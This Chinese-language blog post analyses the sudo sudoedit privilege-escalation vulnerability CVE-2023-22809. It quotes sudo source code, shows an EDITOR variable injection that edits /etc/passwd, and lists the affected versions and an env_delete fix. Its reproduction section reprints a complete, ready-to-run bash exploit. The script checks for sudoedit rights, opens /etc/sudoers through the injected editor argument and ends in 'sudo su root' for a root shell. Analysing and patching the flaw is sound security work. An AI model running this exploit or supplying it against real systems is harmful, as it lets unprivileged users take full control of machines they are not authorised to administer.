【权限提升】Linux Sudo权限提升漏洞(CVE-2023-22809)

news2025/11/7 3:48:18

文章目录

  • 前言
  • 一、Sudo介绍
  • 二、漏洞概述
  • 三、漏洞成因
  • 四、漏洞分析
  • 五、影响版本
  • 六、本地复现
  • 七、修复建议


前言

Sudo存在权限提升漏洞,攻击者可过特定的payload获取服务器ROOT权限


一、Sudo介绍

sudo (su " do")允许系统管理员将权限委托给某些用户(或用户组),能够以ROOT用户或其他用户身份运行部分(或全部)命令。


二、漏洞概述

sudo使用用户提供的环境变量让用户选择他们所选择的编辑器。的内容其中一个变量扩展了传递给sudo_edit()函数的实际命令。

然而,后者依赖于——参数的存在来确定要编辑的文件列表。注入在一个已授权的环境变量中使用额外的——参数可以更改此列表并导致特权通过编辑具有RunAs用户权限的任何其他文件来升级。这个问题发生在sudoers之后。


三、漏洞成因

由于Sudo中的sudoedit对处理用户提供的环境变量(如SUDO_EDITORVISUALEDITOR)中传递的额外参数存在缺陷。当用户指定的编辑器包含绕过sudoers策略的 " –" 参数时,拥有sudoedit访问权限的本地攻击者可通过将任意条目附加到要处理的文件列表中,最终在目标系统上实现权限提升。除外,该漏洞还影响部分QNAP操作系统:QTS、QuTS hero、QuTScloud、QVP(QVR Pro设备)。


四、漏洞分析

sudoers策略插件首先调用sudoers_policy_main()来处理的查找和验证使用sudoers_lookup()的策略。不过,在此功能结束后,策略成功验证时,使用名为find_editor()的编辑器查找方法重写命令。

// plugins/sudoers/sudoers.c@sudoers_policy_main()
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
 bool verbose, void *closure)
{
 // [...]
 validated = sudoers_lookup(snl, sudo_user.pw, &cmnd_status, pwflag);
 // [...]
 if (ISSET(sudo_mode, MODE_EDIT)) {
 // [...]
 safe_cmnd = find_editor(NewArgc - 1, NewArgv + 1, &edit_argc, &edit_argv, NULL,
&env_editor, false);

该函数首先使用用户提供的三个环境变量执行编辑器查找文档,SUDO_EDITOR, VISUALEDITOR

// plugins/sudoers/editor.c@find_editor()
char *
find_editor(int nfiles, char **files, int *argc_out, char ***argv_out,
 char * const *allowlist, const char **env_editor, bool env_error)
{
 // [...]
 *env_editor = NULL;
 ev[0] = "SUDO_EDITOR";
 ev[1] = "VISUAL";
 ev[2] = "EDITOR";
 for (i = 0; i < nitems(ev); i++) {
 char *editor = getenv(ev[i]);
 if (editor != NULL && *editor != '\0') {
 *env_editor = editor;
 editor_path = resolve_editor(editor, strlen(editor), nfiles, files,
argc_out, argv_out, allowlist);

如果存在,则将每个值发送到resolve_editor()进行解析。然而,后者不仅如此解析编辑器的路径,但也接受在最后的命令行中传递的额外参数。类中的文件分开,这些参数放在——(双破折号)参数之前原来的命令行。

// plugins/sudoers/editor.c@resolve_editor()
static char *
resolve_editor(const char *ed, size_t edlen, int nfiles, char **files,
 int *argc_out, char ***argv_out, char * const *allowlist)
{
 // [...]
 /*
 * Split editor into an argument vector, including files to edit.
 * The EDITOR and VISUAL environment variables may contain command
 * line args so look for those and alloc space for them too.
 */
 cp = wordsplit(ed, edend, &ep);
 // [...]
 editor = copy_arg(cp, ep – cp);
 /* Count rest of arguments and allocate editor argv. */
 for (nargc = 1, tmp = ep; wordsplit(NULL, edend, &tmp) != NULL; )
 nargc++;
 if (nfiles != 0)
 nargc += nfiles + 1;
 nargv = reallocarray(NULL, nargc + 1, sizeof(char *));
 // [...]
 /* Fill in editor argv (assumes files[] is NULL-terminated). */
 nargv[0] = editor;
 // [...]
 for (nargc = 1; (cp = wordsplit(NULL, edend, &ep)) != NULL; nargc++) {
 /* Copy string, collapsing chars escaped with a backslash. */
 nargv[nargc] = copy_arg(cp, ep - cp);
 // [...]
 }
 if (nfiles != 0) {
 nargv[nargc++] = "--";
 while (nfiles--)
 nargv[nargc++] = *files++;
 }
 nargv[nargc] = NULL;
 *argc_out = nargc;
 *argv_out = nargv;

然后使用生成的命令调用sudo_edit()函数。找到临时工作后可写目录(/var/tmp/usr/tmp/tmp或操作被取消),方法解析命令行提取要处理的文件列表。为此,前面的——(双破折号)参数是用作分隔符,其右边的每个参数都被视为要处理的文件名。

// src/sudo_edit.c@sudo_edit()
int
sudo_edit(struct command_details *command_details)
{
 // [...]
 /*
 * Set real, effective and saved uids to root.
 * We will change the euid as needed below.
 */
 setuid(ROOT_UID);
 // [...]
 /* Find a temporary directory writable by the user. */
 set_tmpdir(&user_details.cred);
 // [...]
 /*
 * The user's editor must be separated from the files to be
 * edited by a "--" option.
 */
 for (ap = command_details->argv; *ap != NULL; ap++) {
 if (files)
 nfiles++;
 else if (strcmp(*ap, "--") == 0)
 files = ap + 1;
 else
 editor_argc++;
 }

在之前的环境中注入额外的双破折号时,这种行为会导致混乱用于查找编辑器的变量。

EDITOR='vim -- /path/to/extra/file'

使用这个值,命令行将被解析为:

vim -- /path/to/extra/file -- /path/from/policy

因此,假设采用以下策略,用户将能够通过编辑将权限升级到root
系统中的敏感文件。

$ cat /etc/sudoers
user ALL=(ALL:ALL) sudoedit /etc/custom/service.conf
[...]
$ EDITOR='vim -- /etc/passwd' sudoedit /etc/custom/service.conf
sudoedit: --: editing files in a writable directory is not permitted
2 files to edit
sudoedit: /etc/custom/service.conf unchanged
$ tail -1 /etc/passwd
sudoedit::0:0:root:/root:/bin/bash

此漏洞允许被授权使用sudoedit编辑文件的用户编辑其他文件配置的RunAs用户

五、影响版本

  • Sudo:
    1.8.0~1.9.12p1均受影响

  • QTS与QuTS hero:
    QTS < 5.0.1.2346 build 20230322
    QuTS < hero h5.0.1.2348 build 20230324

六、本地复现

EXP:

#!/usr/bin/env bash
#
# Exploit Title: sudo 1.8.0 - 1.9.12p1 - Privilege Escalation
# 
# Exploit Author: n3m1.sys
# CVE: CVE-2023-22809
# Date: 2023/01/21
# Vendor Homepage: https://www.sudo.ws/
# Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz
# Version: 1.8.0 to 1.9.12p1
# Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9
#
# Running this exploit on a vulnerable system allows a localiattacker to gain 
# a root shell on the machine.
#
# The exploit checks if the current user has privileges to run sudoedit or 
# sudo -e on a file as root. If so it will open the sudoers file for the
# attacker to add a line to gain privileges on all the files and get a root 
# shell.

if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$'
then
    echo "> Currently installed sudo version is not vulnerable"
    exit 1
fi

EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-)

if [ -z "$EXPLOITABLE" ]; then
    echo "> It doesn't seem that this user can run sudoedit as root"
    read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
else
    echo "> BINGO! User exploitable"
fi

echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
echo "$USER ALL=(ALL:ALL) ALL"
read -n 1 -s -r -p "Press any key to continue..."
EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
sudo su root
exit 0

使用以上EXP进行利用,查看本地Sudo版本
在这里插入图片描述
将EXP写入到linux可执行脚本文件 .sh文件中
然后执行
在这里插入图片描述

七、修复建议

使用sudoedit时,将受影响的环境变量添加到env_delete拒绝列表中。

例:

Defaults!SUDOEDIT env_delete+="SUDO_EDITOR VISUAL EDITOR"
Cmnd_Alias SUDOEDIT = sudoedit /etc/custom/service.conf
user ALL=(ALL:ALL) SUDOEDIT

referer: https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/411986.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网络安全与防御

1. 什么是IDS&#xff1f; IDS(入侵检测系统)&#xff1a;入侵检测是防火墙的合理补充&#xff0c;帮助系统对付网络攻击&#xff0c;扩展了系统管理员的安全管理能力&#xff0c;提高了信息安全基础结构的完整性。主要针对防火墙涉及不到的部分进行检测。 入侵检测主要面对的…

ChatGPT技术原理、研究框架,应用实践及发展趋势(附166份报告)

​ 一、AI框架重要性日益突显&#xff0c;框架技术发展进入繁荣期&#xff0c;国内AI框架技术加速发展&#xff1a; 1、AI框架作为衔接数据和模型的重要桥梁&#xff0c;发展进入繁荣期&#xff0c;国内外框架功能及性能加速迭代&#xff1b; 2、Pytorch、Tensorflow占据AI框…

5.2 中心极限定理

学习目标&#xff1a; 要学习中心极限定理&#xff0c;我会采取以下几个步骤&#xff1a; 学习基本概念&#xff1a;了解什么是随机变量、样本、总体、概率密度函数等基本概念&#xff0c;为学习中心极限定理打下基础&#xff1b;学习正态分布&#xff1a;中心极限定理的核心…

【JavaEE】计算机组成以及操作系统(进程)的基本知识

目录 前言 1、计算机基本组成 1.1、存储器 2、操作系统 2.1、 进程&#xff08;任务&#xff09;的概念 2.2、进程的管理 2.2.1、进程控制块PCB&#xff08;process control block&#xff09; 2.3、CPU分配&#xff08;进程调度&#xff09; 2.3.1、并发 2.3.2、并…

string容器

1、string的构造和赋值 #include #include using namespace std; void test01() { string str1(“hello world”); //使用字符串初始化 cout<<str1<<endl; string str2(5,‘A’); //使用 n 个字符串是初始化 cout<<str2<<endl; string str3 str2; …

深度学习数据集—水果数据集大合集

近期整理的各类水果&#xff08;包括干果&#xff09;数据集&#xff0c;分享给大家。 1、8类水果图片数据集&#xff08;每类100张图片左右&#xff09;[橘子&#xff0c;菠萝&#xff0c;苹果&#xff0c;木瓜&#xff0c;火龙果&#xff0c;香蕉&#xff0c;樱桃&#xff0…

系统升级 | RK3568开发平台成功搭载SylixOS国产实时操作系统

瑞芯微RK3568芯片是一款定位中高端的通用型SOC&#xff0c;采用22nm制程工艺&#xff0c;搭载一颗四核Cortex-A55处理器和Mali G52 2EE 图形处理器。RK3568 支持4K 解码和 1080P 编码&#xff0c;支持SATA/PCIE/USB3.0 外围接口。RK3568内置独立NPU&#xff0c;可用于轻量级人工…

【GPT4】微软 GPT-4 测试报告(5)与外界环境的交互能力

欢迎关注【youcans的AGI学习笔记】原创作品 微软 GPT-4 测试报告&#xff08;1&#xff09;总体介绍 微软 GPT-4 测试报告&#xff08;2&#xff09;多模态与跨学科能力 微软 GPT-4 测试报告&#xff08;3&#xff09;编程能力 微软 GPT-4 测试报告&#xff08;4&#xff09;数…

被裁了,39 岁阿里 P9,攒下 1.5 亿....

今天刷知乎&#xff0c;在问题 “40 岁因为财务自由决定不上班的人&#xff0c;个人资产总和到底有多少” 下看到一位阿里 P9 的匿名回答让我狠狠的酸了一把~ 这刚刚失业的四十岁高级码农自曝了自己的人生经历&#xff0c;作为一名“阿里 P9”的程序员&#xff0c;他讲述了自己…

重庆理工大学教授程平:智能会计时代,应充分发挥数据资产的价值

近日&#xff0c;由用友主办的「智能会计 价值财务」2023企业数智化财务创新峰会北京站在北京国家会计学院圆满举办&#xff01;来自知名院校的专家学者、央国企等大型企业财务领路人、以及权威财经媒体相约北京国家会计学院&#xff0c;一同见证“智能会计”新时代的到来&…

centos 搭建 wiki

需要安装软件 mysqlmm-wikinginx&#xff08;非必须&#xff09; mysql 1.查询本机是否安装mysql rpm -qa | grep mysql 如安装&#xff0c;知道mysql账号密码&#xff0c;可以直接使用&#xff0c;跳过此步骤 如已安装&#xff08;centos可能默认已安装mysql或者之前有人…

day13_oop

今日内容 零、 复习昨日 一、final 二、static 三、多态 四、向上转型&向下转型 五、多态应用 零、 复习昨日 封装 类的封装: 1 属性私有 2提供setget 继承 A extends B子类可以使用父类非私有属性和方法好处: 复用,多态准备 重写/覆写/覆盖/Override 子类重写父类的方法,以…

什么是雪花算法?啥原理?

1、SnowFlake核心思想 SnowFlake 算法&#xff0c;是 Twitter 开源的分布式 ID 生成算法。 其核心思想就是&#xff1a;使用一个 64 bit 的 long 型的数字作为全局唯一 ID。在分布式系统中的应用十分广泛&#xff0c;且 ID 引入了时间戳&#xff0c;基本上保持自增的&#xf…

关于ChatGPT人工智能浅谈

ChatGPT人工智能优点与不足 现今ChatGPT已经向我们展示了其强大的数据收集分析和处理能力&#xff0c;这点随着其不断的学习训练会越来越强。ChatGPT这类生成式人工智能在数据收集分析和处理能力这方面远远超过人类&#xff0c;虽然它目前还不能完全做到按人类的方式对数据进行…

常见的HTTP状态码及其含义

© Ptw-cwl HTTP是一种用于传输超文本数据的协议&#xff0c;在使用Java进行Web开发时&#xff0c;经常会涉及到HTTP状态码。以下是一些常见的HTTP状态码及其含义 概览 状态码含义1xx 信息性状态码指示请求已经被接受或者正在进行处理。100 Continue表示客户端可以继续发…

4月了,准备跳槽的可以看看

金三已经过去了&#xff0c;银四对于想跳槽的职场人来说&#xff0c;绝对要从现在开始做准备了。这时候&#xff0c;很多高薪技术岗、管理岗的缺口和市场需求也出来了。 所以准备4月跳槽、找工作的朋友&#xff0c;就一定要好好准备抓住机会&#xff0c;补一补自己的知识体系&…

第一章节 spring 概念与体系结构

1、Spring 概念 Spring 是 Java EE 编程领域的一款轻量级的开源框架&#xff0c;目标就是要简化 Java 企业级应用程序的开发难度和周期。 1.1、广义 Spring Framework、Spring MVC、SpringBoot、Spring Cloud、Spring Data、Spring Security 项目名称描述Spring DataSpring…

一 注册中心

一 什么是注册中心 注册中心可以说是微服务架构中的“通讯录”&#xff0c;它记录了服务和服务地址的映射关系。在分布式架构中&#xff0c;服务会注册到这里&#xff0c;当服务需要调用其它服务时&#xff0c;就到这里找到服务的地址&#xff0c;进行调用。 当我想给张三打电…

Windows系统管理_windows server 2016 文件系统与权限

文件系统概述 文件系统是操作系统用于明确存储设备&#xff08;磁盘、固态硬盘&#xff09;上组织文件的方法。从系统角度来 看&#xff0c;文件系统是对文件存储设备的空间进行组织和分配&#xff0c;负责文件存储并对存入的文件进行保护和 检索的系统。可以将一个文件连续地…

基于多种算法实现鸢尾花聚类

基于多种聚类算法实现鸢尾花聚类 描述 聚类&#xff08;Clustering&#xff09;属于无监督学习的一种&#xff0c;聚类算法是根据数据的内在特征&#xff0c;将数据进行分组&#xff08;即“内聚成类”&#xff09;&#xff0c;本任务我们通过实现鸢尾花聚类案例掌握Scikit-l…